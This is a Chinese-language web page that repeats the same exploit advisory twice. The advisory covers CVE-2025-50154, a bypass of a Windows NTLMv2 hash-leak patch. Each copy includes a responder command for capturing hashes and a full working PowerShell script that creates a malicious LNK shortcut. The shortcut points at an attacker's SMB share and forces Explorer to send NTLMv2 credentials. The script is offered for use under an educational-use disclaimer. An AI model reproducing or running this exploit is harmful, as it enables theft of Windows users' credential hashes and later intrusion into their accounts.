NTLMv2 on 办公AI智能小助手

Windows NTLMv2哈希泄露漏洞利用详解

Fri, 24 Oct 2025 22:41:05 +0800

漏洞标题：Microsoft Windows 10.0.19045 - NTLMv2哈希泄露

日期：2025-08-13

漏洞作者：Ruben Enkaoua

作者链接：https://x.com/RubenLabs, https://github.com/rubenformation

原始博客：https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/

厂商主页：https://microsoft.com

软件链接：https://www.microsoft.com/en-us/software-download

版本：2025年8月补丁星期二之前的所有版本

测试环境：Windows 10.0.19045

CVE：CVE-2025-50154

此漏洞利用针对CVE-2025-24054补丁绕过

启动responder：

responder -I -v

<#
.SYNOPSIS
    创建恶意LNK文件以触发SMB NTLMv2-SSP哈希泄露。
    此代码仅用于教育和研究目的。
    作者不对此代码的任何误用承担责任。
.DESCRIPTION
    此脚本生成指向远程SMB托管二进制文件的.LNK快捷方式。
    该快捷方式使用默认的Windows图标（SHELL32.dll），但仍然强制资源管理器从远程二进制文件获取PE图标，从而触发身份验证。
.PARAMETER path
    LNK文件将保存的本地路径（例如：C:\Users\User\Desktop）。
.PARAMETER ip
    托管二进制文件的远程SMB服务器的IP地址或主机名。
.PARAMETER share
    SMB服务器上存储二进制文件的共享文件夹。
.PARAMETER file
    二进制文件的名称（例如：payload.exe）。
.EXAMPLE
    .\poc.ps1 -path "C:\Temp" -ip "192.168.1.10" -share "malware" -file "payload.exe"
#>

param(
    [Parameter(Mandatory=$true)]
    [string]$path,    # -path
    [Parameter(Mandatory=$true)]
    [string]$ip,      # -ip
    [Parameter(Mandatory=$true)]
    [string]$share,   # -share
    [Parameter(Mandatory=$true)]
    [string]$file     # -file
)

# 构建文件路径
$shortcutPath = Join-Path $path "poc.lnk"
$targetPath = "\\$ip\$share\$file"
$iconLocation = "C:\Windows\System32\SHELL32.dll"

# 创建LNK文件
$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation
$shortcut.Save()

Write-Output "快捷方式创建于：$shortcutPath"
Write-Output "目标路径：$targetPath"

Windows NTLMv2哈希泄露漏洞利用详解

Sun, 28 Sep 2025 14:08:03 +0800

漏洞标题：Microsoft Windows 10.0.19045 - NTLMv2哈希泄露

日期：2025-08-13

漏洞作者：Ruben Enkaoua

作者链接：https://x.com/RubenLabs, https://github.com/rubenformation

原始博客：https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/

厂商主页：https://microsoft.com

软件链接：https://www.microsoft.com/en-us/software-download

版本：2025年8月补丁星期二之前的所有版本

测试环境：Windows 10.0.19045

CVE：CVE-2025-50154

此漏洞利用针对CVE-2025-24054补丁绕过

启动responder：

responder -I -v

<#
.SYNOPSIS
    创建恶意LNK文件，触发SMB NTLMv2-SSP哈希泄露。
    此代码仅用于教育和研究目的。
    作者不对此代码的任何误用负责。
.DESCRIPTION
    此脚本生成指向远程SMB托管二进制文件的.LNK快捷方式。
    该快捷方式使用默认的Windows图标（SHELL32.dll），但仍会强制资源管理器
    从远程二进制文件获取PE图标，从而触发身份验证。
.PARAMETER path
    保存LNK文件的本地路径（例如，C:\Users\User\Desktop）。
.PARAMETER ip
    托管二进制文件的远程SMB服务器的IP地址或主机名。
.PARAMETER share
    SMB服务器上存储二进制文件的共享文件夹。
.PARAMETER file
    二进制文件的名称（例如，payload.exe）。
.EXAMPLE
    .\poc.ps1 -path "C:\Temp" -ip "192.168.1.10" -share "malware" -file "payload.exe"
#>

param(
    [Parameter(Mandatory=$true)]
    [string]$path,    # -path
    [Parameter(Mandatory=$true)]
    [string]$ip,      # -ip
    [Parameter(Mandatory=$true)]
    [string]$share,   # -share
    [Parameter(Mandatory=$true)]
    [string]$file     # -file
)

# 构建文件路径
$shortcutPath = Join-Path $path "poc.lnk"
$targetPath = "\\$ip\$share\$file"
$iconLocation = "C:\Windows\System32\SHELL32.dll"

# 创建LNK文件
$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation
$shortcut.Save()

Write-Output "快捷方式创建于：$shortcutPath"
Write-Output "目标路径：$targetPath"